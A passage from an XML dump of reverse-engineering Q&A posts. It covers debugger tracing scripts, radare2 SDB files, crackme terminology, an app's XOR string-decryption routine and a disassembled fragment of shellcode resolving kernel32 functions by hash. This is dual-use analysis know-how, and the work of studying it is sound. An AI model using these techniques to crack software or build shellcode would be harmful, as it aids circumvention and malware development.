Firmware&#xA;Images and Identification of Embedded Devices&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.sciencedirect.com/science/article/pii/S1742287615000523&quot; rel=&quot;noreferrer&quot;&gt;Automatic classification of object code using machine&#xA;learning&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;Summary&lt;/h2&gt;&#xA;&lt;p&gt;Arsenal:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;binwalk&lt;/code&gt; + plugins&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;binvis.io&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;strings&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;hexdump&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;wxHexEditor&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;radare2&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;IDA&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;technical reference manuals&lt;/li&gt;&#xA;&lt;li&gt;statistics and machine learning&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2020-08-19T00:04:38.153" LastActivityDate="2020-08-19T00:04:38.153" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="17271" PostTypeId="1" AcceptedAnswerId="17273" CreationDate="2018-01-24T11:13:56.093" Score="2" ViewCount="2193" Body="&lt;p&gt;I need to find values of arguments that are passed to specific function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally I set INT3 breakpoint and check registers and the stack whenever it is reached. But there is too many calls to this specific function to do it manually, so I'm trying to find some automatic solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="23021" LastActivityDate="2018-01-24T12:22:54.967" Title="Record all calls to specific function? Olly/x64dbg" Tags="|ida|ollydbg|x64dbg|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17272" PostTypeId="2" ParentId="17271" CreationDate="2018-01-24T11:53:09.413" Score="1" Body="&lt;p&gt;When there are too many calls to handle I normally use &lt;a href=&quot;https://pykd.codeplex.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;pykd&lt;/a&gt; to trace. As an example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ExceptionHandler(pykd.eventHandler):&#xA;    def __init__(self):&#xA;        pykd.eventHandler.__init__(self)&#xA;&#xA;    def onBreakpoint(self, id):&#xA;        esp = pykd.reg(&quot;esp&quot;)&#xA;        eax = pykd.reg(&quot;eax&quot;)&#xA;        out = &quot;&quot;&#xA;        if id == 0:&#xA;            out += &quot;RtlAllocateHeap (&quot;&#xA;            out += hex(pykd.ptrPtr(esp + 0x4)) + &quot; , &quot;&#xA;            out += hex(pykd.ptrMWord(esp + 0x8)) + &quot; , &quot;&#xA;            out += hex(pykd.ptrPtr(esp + 0xc)) + &quot;) &quot;&#xA;            out += &quot; = &quot;&#xA;            out += hex(eax)&#xA;        print out&#xA;&#xA;pykd.initialize()&#xA;pykd.handler = ExceptionHandler()&#xA;pykd.startProcess(&quot;test.exe&quot;)&#xA;alloc_module = pykd.module(&quot;ntdll&quot;)&#xA;alloc_module.reload()&#xA;b0 = pykd.setBp(alloc_module.offset('RtlAllocateHeap')+0xe6, callback)&#xA;pykd.go()&#xA;pykd.killAllProcesses()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will give you a neat trace of all the alloc calls made. A small &lt;a href=&quot;https://gist.github.com/sudhackar/532d43e8e026ca9fbd537eda6639d516&quot; rel=&quot;nofollow noreferrer&quot;&gt;script&lt;/a&gt; I wrote to manage this easily.&lt;/p&gt;&#xA;" OwnerUserId="14622" LastActivityDate="2018-01-24T11:53:09.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17273" PostTypeId="2" ParentId="17271" CreationDate="2018-01-24T12:00:52.127" Score="2" Body="&lt;p&gt;ollydbg v 2.01 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ollydbg calc.exe -&gt; ctrl+g -&gt;address or symbol-&gt;follow -&gt;shift+f4 -&gt;pause never -&gt; log arguments -&gt;always -&gt; f9 and see the log window&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/quP62.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/quP62.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you are on windbg you simply do &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:003&amp;gt; bp USER32!TranslateMessage &quot;dt ole32!tagMSG poi(@esp+4);kb 2;.echo ========;gc&quot;&#xA;breakpoint 0 redefined&#xA;0:003&amp;gt; g&#xA;   +0x000 hwnd             : (null) &#xA;   +0x004 message          : 0x113&#xA;   +0x008 wParam           : 0x3341&#xA;   +0x00c lParam           : 0n1954748594&#xA;   +0x010 time             : 0x147656d&#xA;   +0x014 pt               : tagPOINT&#xA; # ChildEBP RetAddr  Args to Child              &#xA;00 0017eee0 002b1c9f 0017efbc 00304a68 004f2b44 USER32!TranslateMessage&#xA;01 0017fc50 002c219a 002b0000 00000000 004f2b44 calc!WinMain+0x85b&#xA;========&#xA;   +0x000 hwnd             : 0x000e0212 HWND__&#xA;   +0x004 message          : 0xf&#xA;   +0x008 wParam           : 0&#xA;   +0x00c lParam           : 0n0&#xA;   +0x010 time             : 0x1477998&#xA;   +0x014 pt               : tagPOINT&#xA; # ChildEBP RetAddr  Args to Child              &#xA;00 0017eee0 002b1c9f 0017efbc 00304a68 004f2b44 USER32!TranslateMessage&#xA;01 0017fc50 002c219a 002b0000 00000000 004f2b44 calc!WinMain+0x85b&#xA;========&#xA;   +0x000 hwnd             : 0x001d017e HWND__&#xA;   +0x004 message          : 0xf&#xA;   +0x008 wParam           : 0&#xA;   +0x00c lParam           : 0n0&#xA;   +0x010 time             : 0x14779a8&#xA;   +0x014 pt               : tagPOINT&#xA; # ChildEBP RetAddr  Args to Child              &#xA;00 0017eee0 002b1c9f 0017efbc 00304a68 004f2b44 USER32!TranslateMessage&#xA;01 0017fc50 002c219a 002b0000 00000000 004f2b44 calc!WinMain+0x85b&#xA;========&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;edit &lt;/p&gt;&#xA;&#xA;&lt;p&gt;x64 dbg also has an edit breakpoint when you toggle an f2 bp but i dont know how you can coax it to decode teh arguments &lt;/p&gt;&#xA;&#xA;&lt;p&gt;with x64 dbg you set an f2 breakpoint from the gui then rightclick edit breakpoint &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and set the condition to break as 0 (never break)&#xA;and in the log text edit box input this formatted string &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and see the results in log window&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;msg *:FEDB0;hwnd=:160252;msg =: 118&#xA;msg *:FEDB0;hwnd=:160252;msg =: 118&#xA;msg *:FEDB0;hwnd=:160252;msg =: 118&#xA;msg *:FEDB0;hwnd=:160252;msg =: 118&#xA;msg *:FEDB0;hwnd=:160252;msg =: 118&#xA;msg *:FEDB0;hwnd=:160252;msg =: 118&#xA;msg *:FEDB0;hwnd=:160252;msg =: 118&#xA;msg *:FEDB0;hwnd=:160252;msg =: F&#xA;msg *:FEDB0;hwnd=:3D0458;msg =: F&#xA;msg *:FEDB0;hwnd=:1908B8;msg =: F&#xA;msg *:FEDB0;hwnd=:8038E;msg =: F&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/faZ6k.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/faZ6k.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-01-24T12:22:54.967" LastActivityDate="2018-01-24T12:22:54.967" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17274" PostTypeId="2" ParentId="17265" CreationDate="2018-01-24T13:17:55.630" Score="0" Body="&lt;p&gt;Not exactly REPL, but &lt;a href=&quot;https://godbolt.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Godbolt&lt;/a&gt; is a nice way to quickly see how output assembly looks for given source code.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-01-24T13:17:55.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17276" PostTypeId="1" CreationDate="2018-01-24T19:09:43.233" Score="-1" ViewCount="269" Body="&lt;p&gt;I'm confused and I'm trying to follow the &lt;a href=&quot;https://dustri.org/b/defeating-ioli-with-radare2.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Radare 2 Crackme Challanges&lt;/a&gt;. In it, they say,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This seems to be a goodboy/badboy.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is a &quot;goodboy/badboy&quot; lingo for a specific thing, and if so what?&lt;/p&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2018-01-24T19:19:51.270" LastActivityDate="2018-01-24T19:21:22.330" Title="What is a &quot;goodboy/badboy&quot;" Tags="|radare2|crackme|" AnswerCount="1" CommentCount="6" ClosedDate="2018-01-29T19:36:42.950" ContentLicense="CC BY-SA 3.0" />
  <row Id="17277" PostTypeId="2" ParentId="17276" CreationDate="2018-01-24T19:21:22.330" Score="4" Body="&lt;p&gt;The &quot;good boy&quot; is the thing that lets you know you were successful in your cracking/patching. The &quot;bad boy&quot; is the thing that lets you know you're unsuccessful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a commercial app, a &quot;good boy&quot; would be akin to a message box saying, &quot;Thank you for entering a valid license! You're now fully registered.&quot; Whereas the &quot;bad boy&quot; would be the message box that says, &quot;I'm sorry. That's an invalid license. Please enter a valid license.&quot;&lt;/p&gt;&#xA;" OwnerUserId="20928" LastActivityDate="2018-01-24T19:21:22.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17278" PostTypeId="1" AcceptedAnswerId="17281" CreationDate="2018-01-24T20:28:59.363" Score="3" ViewCount="1498" Body="&lt;p&gt;In the abstract, I'm just wondering what an SDB file does and what role it plays. I see &lt;a href=&quot;https://github.com/radare/radare2/tree/c0c0cba3398466661afed716f709f1fc404a752e/libr/include/sdb&quot; rel=&quot;nofollow noreferrer&quot;&gt;Radare2 is using them.&lt;/a&gt;. Here are some of the SDB files I have under &lt;code&gt;./libr/bin/d/dll/&lt;/code&gt;, what do these do?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./libr/bin/d/dll/csmfpapi.sdb&#xA;./libr/bin/d/dll/atl.sdb&#xA;./libr/bin/d/dll/msvbvm60.sdb&#xA;./libr/bin/d/dll/msi.sdb&#xA;./libr/bin/d/dll/mfc90u.sdb&#xA;./libr/bin/d/dll/msvbvm50.sdb&#xA;./libr/bin/d/dll/dsound.sdb&#xA;./libr/bin/d/dll/mfc71.sdb&#xA;./libr/bin/d/dll/olepro32.sdb&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2018-01-25T08:46:15.100" LastActivityDate="2018-01-25T10:23:26.633" Title="What is an SDB file?" Tags="|pe|radare2|pe32|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17279" PostTypeId="1" AcceptedAnswerId="17280" CreationDate="2018-01-24T21:50:42.323" Score="0" ViewCount="1759" Body="&lt;p&gt;Just wondering what it means when in the visual display it shows &lt;code&gt;invalid&lt;/code&gt;? Is that just a way of saying there is nothing at that address?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x0003ce0c      ff             invalid&#xA;0x0003ce0d      ff             invalid&#xA;0x0003ce0e      ff             invalid&#xA;0x0003ce0f      ff             invalid&#xA;0x0003ce10      ff             invalid&#xA;0x0003ce11      ff             invalid&#xA;0x0003ce12      ff             invalid&#xA;0x0003ce13      ff             invalid&#xA;0x0003ce14      ff             invalid&#xA;0x0003ce15      ff             invalid&#xA;0x0003ce16      ff             invalid&#xA;0x0003ce17      ff             invalid&#xA;0x0003ce18      ff             invalid&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22669" LastActivityDate="2018-01-24T21:59:22.420" Title="What does it mean when radare2 says &quot;invalid&quot;?" Tags="|radare2|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17280" PostTypeId="2" ParentId="17279" CreationDate="2018-01-24T21:59:22.420" Score="3" Body="&lt;p&gt;It simply means that the bytes, &lt;code&gt;0xff&lt;/code&gt; in your case, are not valid instructions.&lt;br&gt;&#xA;So, to put it simply, it means that you are not looking at code. Try another offsets and sections.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is that just a way of saying there is nothing at that address?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This does not mean that there's nothing there, it means that there are no valid instructions there. As you can see, these addresses at your paste contains &quot;0xff&quot; bytes.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-01-24T21:59:22.420" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17281" PostTypeId="2" ParentId="17278" CreationDate="2018-01-24T22:07:18.333" Score="4" Body="&lt;p&gt;SDB stands for &lt;strong&gt;S&lt;/strong&gt;tring &lt;strong&gt;D&lt;/strong&gt;ata&lt;strong&gt;b&lt;/strong&gt;ase. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;sdb&lt;/code&gt; is a simple string key/value database based on &lt;a href=&quot;https://en.wikipedia.org/wiki/Cdb_(software)&quot; rel=&quot;nofollow noreferrer&quot;&gt;cdb&lt;/a&gt; disk&#xA;  storage and supports JSON and arrays introspection.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can see the SDB commands listed with the &lt;code&gt;k&lt;/code&gt; command,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|Usage: k[s] [key[=value]]Sdb Query&#xA;| k foo=bar                 set value&#xA;| k foo                     show value&#xA;| k                         list keys&#xA;| ko [file.sdb] [ns]        open file into namespace&#xA;| kd [file.sdb] [ns]        dump namespace to disk&#xA;| ks [ns]                   enter the sdb query shell&#xA;| k anal/meta/*             ist kv from anal &amp;gt; meta namespaces&#xA;| k anal/**                 list namespaces under anal&#xA;| k anal/meta/meta.0x80404  get value for meta.0x80404 key&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's a whole post about it in radare2 blog, check it out &lt;a href=&quot;http://radare.today/posts/exploring-the-database/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;br&gt;&#xA;You can read more about it in &lt;a href=&quot;https://github.com/radare/radare2/tree/master/shlr/sdb&quot; rel=&quot;nofollow noreferrer&quot;&gt;this link&lt;/a&gt; from radare2's repository.&lt;br&gt;&#xA;There's also a short, and not so detailed, &lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/basic_commands/sdb.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;chapter about it&lt;/a&gt; in r2book.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; You added another question so I'll expand my answer accordingly.&lt;br&gt;&#xA;These &lt;code&gt;sdb&lt;/code&gt;files contain function names (DLL's exports) and their equivalent &lt;a href=&quot;https://docs.microsoft.com/en-us/cpp/build/exporting-functions-from-a-dll-by-ordinal-rather-than-by-name&quot; rel=&quot;nofollow noreferrer&quot;&gt;ordinals&lt;/a&gt; for each &lt;code&gt;dll&lt;/code&gt; in &lt;a href=&quot;https://github.com/radare/radare2/tree/032aff2d556a70dfcc391d111f5aaeda2423c70a/libr/bin/d/dll&quot; rel=&quot;nofollow noreferrer&quot;&gt;./libr/bin/d/dll/&lt;/a&gt;. Each file contains a key-value line in this format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ordinal_num=export_name&#xA;another_ordinal_num=another_export_name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, if we'll take &lt;code&gt;msi.dll&lt;/code&gt; from the list you've mentioned, its &lt;code&gt;sdb&lt;/code&gt; file will look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;232=Migrate10CachedPackagesW&#xA;1=MsiAdvertiseProductA&#xA;223=MsiAdvertiseProductExA&#xA;224=MsiAdvertiseProductExW&#xA;2=MsiAdvertiseProductW&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These files are then compiled by &lt;a href=&quot;https://github.com/radare/radare2/blob/master/libr/bin/d/Makefile&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;MakeFile&lt;/code&gt;&lt;/a&gt;. To add &lt;code&gt;sdb&lt;/code&gt; files for DLL you can follow &lt;a href=&quot;https://github.com/radare/radare2/blob/master/doc/sdb_ordinal.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;sdb_ordinal.md&quot;&lt;/a&gt; article from radare2 docs.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2018-01-25T10:23:26.633" LastActivityDate="2018-01-25T10:23:26.633" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17284" PostTypeId="2" ParentId="17269" CreationDate="2018-01-25T02:35:01.357" Score="1" Body="&lt;p&gt;It looks like hex-rays mistakenly thought there were three parameters instead of two. If you look at the start of the function's disassembly &lt;code&gt;R1&lt;/code&gt; and &lt;code&gt;R2&lt;/code&gt; are not saved, only &lt;code&gt;R0&lt;/code&gt; is. You should be able to just change the function signature to &lt;code&gt;int __fastcall EncodeUtil::getDecryptStr(void* pString)&lt;/code&gt;. The default key to do so is &lt;code&gt;Y&lt;/code&gt;. If you have a struct definition for &lt;code&gt;std::string&lt;/code&gt; you can replace the &lt;code&gt;void*&lt;/code&gt; in the signature with an &lt;code&gt;std::string*&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="266" LastActivityDate="2018-01-25T02:35:01.357" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17286" PostTypeId="1" AcceptedAnswerId="17336" CreationDate="2018-01-25T09:42:23.123" Score="3" ViewCount="930" Body="&lt;p&gt;I have an arm complied &lt;code&gt;so&lt;/code&gt; file and find the decrypt function which pseudocode generated by IDA Pro is like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;char __cdecl EncodeUtil::getDecryptStr()&#xA;{&#xA;  int *v0; // r0&#xA;  int *v1; // r7&#xA;  unsigned int i; // r5&#xA;  char v3; // r6&#xA;  int v5; // [sp+4h] [bp-1Ch]&#xA;&#xA;  v1 = v0;&#xA;  HttpUtility::URLDecode(&amp;amp;v5);&#xA;  for ( i = 0; i &amp;lt; *(_DWORD *)(v5 - 12); ++i )&#xA;  {&#xA;    sub_3B25D0(&amp;amp;v5);&#xA;    v3 = byte_41A7DD[i &amp;amp; 7]; //byte_41A7DD     DCB 0xC, 0x17, 0xDE, 0x22, 0x2C, 0xC9, 0x37, 0x43&#xA;    *(_BYTE *)(v5 + i) ^= v3;&#xA;    sub_3B25D0(&amp;amp;v5);&#xA;    if ( !*(_BYTE *)(v5 + i) )&#xA;    {&#xA;      sub_3B25D0(&amp;amp;v5);&#xA;      *(_BYTE *)(v5 + i) ^= v3;&#xA;    }&#xA;  }&#xA;  sub_3B2E20(v1, &amp;amp;v5);&#xA;  sub_3B1CCC(&amp;amp;v5);&#xA;  return (char)v1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and the &lt;code&gt;sub_3B25D0&lt;/code&gt; function is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;int *__fastcall sub_3B25D0(int *result)&#xA;{&#xA;  if ( *(_DWORD *)(*result - 4) &amp;gt;= 0 )&#xA;    result = sub_3B2580(result);&#xA;  return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and the &lt;code&gt;sub_3B2580&lt;/code&gt; function is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;int *__fastcall sub_3B2580(int *result)&#xA;{&#xA;  int v1; // r3&#xA;  int *v2; // r4&#xA;&#xA;  v1 = *result;&#xA;  v2 = result;&#xA;  if ( (int *)(*result - 12) != &amp;amp;dword_4C60C0 )&#xA;  {&#xA;    if ( *(_DWORD *)(v1 - 4) &amp;gt; 0 )&#xA;    {&#xA;      result = sub_3B1D0C(result, 0, 0, 0);&#xA;      v1 = *v2;&#xA;    }&#xA;    *(_DWORD *)(v1 - 4) = -1;&#xA;  }&#xA;  return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and then &lt;code&gt;sub_3B1D0C&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;int *__fastcall sub_3B1D0C(int *result, size_t a2, int a3, int a4)&#xA;{&#xA;  int v4; // r12&#xA;  int v5; // r10&#xA;  int v6; // r8&#xA;  int v7; // r7&#xA;  unsigned int v8; // r3&#xA;  unsigned int v9; // r8&#xA;  int *v10; // r5&#xA;  int v11; // r4&#xA;  size_t v12; // r6&#xA;  size_t v13; // r10&#xA;  int v14; // r0&#xA;  int v15; // r9&#xA;  bool v16; // zf&#xA;  int v17; // r7&#xA;  int v18; // r4&#xA;  const void *v19; // r1&#xA;  int v20; // r7&#xA;  int v21; // r4&#xA;  _BYTE *v22; // r1&#xA;  char v23; // [sp+4h] [bp-24h]&#xA;&#xA;  v4 = *result;&#xA;  v5 = *(_DWORD *)(*result - 12);&#xA;  v6 = a4 - a3;&#xA;  v7 = a4;&#xA;  v8 = *(_DWORD *)(*result - 8);&#xA;  v9 = v6 + v5;&#xA;  v10 = result;&#xA;  v11 = a3;&#xA;  v12 = a2;&#xA;  v13 = v5 - a2 - a3;&#xA;  if ( v9 &amp;gt; v8 || *(_DWORD *)(v4 - 4) &amp;gt; 0 )&#xA;  {&#xA;    v14 = sub_3B1B30(v9, v8, &amp;amp;v23);&#xA;    if ( v12 )&#xA;    {&#xA;      v22 = (_BYTE *)*v10;&#xA;      if ( v12 == 1 )&#xA;      {&#xA;        *(_BYTE *)(v14 + 12) = *v22;&#xA;        v15 = v14 + 12;&#xA;      }&#xA;      else&#xA;      {&#xA;        v15 = v14 + 12;&#xA;        memcpy((void *)(v14 + 12), v22, v12);&#xA;      }&#xA;    }&#xA;    else&#xA;    {&#xA;      v15 = v14 + 12;&#xA;    }&#xA;    if ( v13 )&#xA;    {&#xA;      v20 = v7 + v12;&#xA;      v21 = v11 + v12;&#xA;      if ( v13 == 1 )&#xA;        *(_BYTE *)(v15 + v20) = *(_BYTE *)(*v10 + v21);&#xA;      else&#xA;        memcpy((void *)(v15 + v20), (const void *)(*v10 + v21), v13);&#xA;    }&#xA;    result = (int *)(*v10 - 12);&#xA;    if ( result != &amp;amp;dword_4C60C0 )&#xA;      result = (int *)sub_3B1C84();&#xA;    v4 = v15;&#xA;    *v10 = v15;&#xA;  }&#xA;  else&#xA;  {&#xA;    v16 = a3 == v7;&#xA;    if ( a3 != v7 )&#xA;      v16 = v13 == 0;&#xA;    if ( !v16 )&#xA;    {&#xA;      v17 = v7 + a2;&#xA;      v18 = a3 + a2;&#xA;      result = (int *)(v4 + v17);&#xA;      v19 = (const void *)(v4 + a3 + a2);&#xA;      if ( v13 == 1 )&#xA;        *(_BYTE *)(v4 + v17) = *(_BYTE *)(v4 + v18);&#xA;      else&#xA;        result = (int *)memmove(result, v19, v13);&#xA;      v4 = *v10;&#xA;    }&#xA;  }&#xA;  if ( (int *)(v4 - 12) != &amp;amp;dword_4C60C0 )&#xA;  {&#xA;    *(_DWORD *)(v4 - 4) = 0;&#xA;    *(_DWORD *)(v4 - 12) = v9;&#xA;    *(_BYTE *)(v4 + v9) = 0;&#xA;  }&#xA;  return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;can anyone give a best guess what does the function do after &lt;code&gt;HttpUtility::URLDecode&lt;/code&gt; ?&lt;/p&gt;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&lt;p&gt;As inspired by @NirIzr's answer below and some of the comments, I wrote a snippet of Java code to try the XOR like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; public static void main(String args[])&#xA;    {&#xA;        byte[] _bytes = null;&#xA;        byte[] key = {(byte) 0xC,(byte)0x17,(byte)0xDE,(byte)0x22,(byte)0x2C,(byte)0xC9,(byte)0x37,(byte)0x43};&#xA;        String s = &amp;quot;%EB%9Ff%C5%A4q%D0%D9%88%F2M%87%C9Z%92%A6%83%BC%3B%86%8B%2D%8B%EC&amp;quot;;&#xA;        try {&#xA;            String decoded = URLDecoder.decode(s,&amp;quot;UTF-8&amp;quot;);&#xA;            _bytes = decoded.getBytes();&#xA;        } catch (UnsupportedEncodingException e) {&#xA;            e.printStackTrace();&#xA;        }&#xA;&#xA;&#xA;        for(int i=0;i&amp;lt;_bytes.length;i++){&#xA;            _bytes[i] = (byte)(_bytes[i] ^ key[i%key.length]);&#xA;        }&#xA;&#xA;        System.out.println(new String(_bytes));&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But the out put didn't seems to be good:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;�cD�mF�����v��c͓tm���1��&amp;amp;���c�v�����͓t��&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="23016" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-01-30T13:30:57.027" Title="how to find the encryption algorithm?" Tags="|c|decryption|decompress|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="17288" PostTypeId="1" AcceptedAnswerId="17290" CreationDate="2018-01-25T13:13:31.957" Score="2" ViewCount="364" Body="&lt;p&gt;I read &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/13236/how-to-extract-debug-information-from-a-dos-executable-compiled-with-watcom-c-c&quot;&gt;here&lt;/a&gt; that some PE files have debug information baked into the PE file. Is this only the case for older PE files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it safe to assume that all Visual Studio compiled PE files have all debug information (if any) in an external PDB file, i.e. do not contain debug information other than the path to a PDB file?&lt;/p&gt;&#xA;" OwnerUserId="11830" LastActivityDate="2018-01-25T17:18:57.333" Title="Is all debug information of VS-compiled PE files contained in an external PDB file?" Tags="|pe|compilers|debugging-symbols|pdb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17289" PostTypeId="1" AcceptedAnswerId="17293" CreationDate="2018-01-25T16:43:13.960" Score="1" ViewCount="427" Body="&lt;p&gt;I'm disassembling a shellcode and I found that it resolves adress of some function manually using the hash to find function in kernel32.dll.&#xA;example  :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call findKernel32Base&#xA;....&#xA;push 0EC0E4E8Eh&#xA;call findSymbolByHash&#xA;mov [ebp-4], eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For this example the function resolved is LoadLibraryA, I found it by searching the hash on google but what if I don't find it on google  ? &#xA;How can I find the function related to the hash value without debugging the shellcode ( some manually resolve failed when I debug it so it crash ) ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you !&lt;/p&gt;&#xA;" OwnerUserId="21219" LastActivityDate="2018-01-25T18:03:51.570" Title="How to find a fuction hash when manually resolving in shellcode?" Tags="|shellcode|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17290" PostTypeId="2" ParentId="17288" CreationDate="2018-01-25T17:18:57.333" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://www.debuginfo.com/articles/gendebuginfo.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Old&lt;/a&gt; versions of link.exe supported the &lt;code&gt;/debugtype&lt;/code&gt; argument that used these options:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/debugtype:coff    &#xA;   use COFF format&#xA;/debugtype:cv&#xA;   use CodeView or Program Database format (depends on /pdb option) &#xA;/debugtype:both   &#xA;   use both COFF and CodeView/Program Database formats&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;According to the MSDN docs for Visual Studio 2008's &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/y0zzbyt4(v=vs.90).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;linker&lt;/a&gt;, that option was no longer available; and the information for the &lt;code&gt;/debug&lt;/code&gt; switch states that &quot;it is not possible to create an .exe or .dll 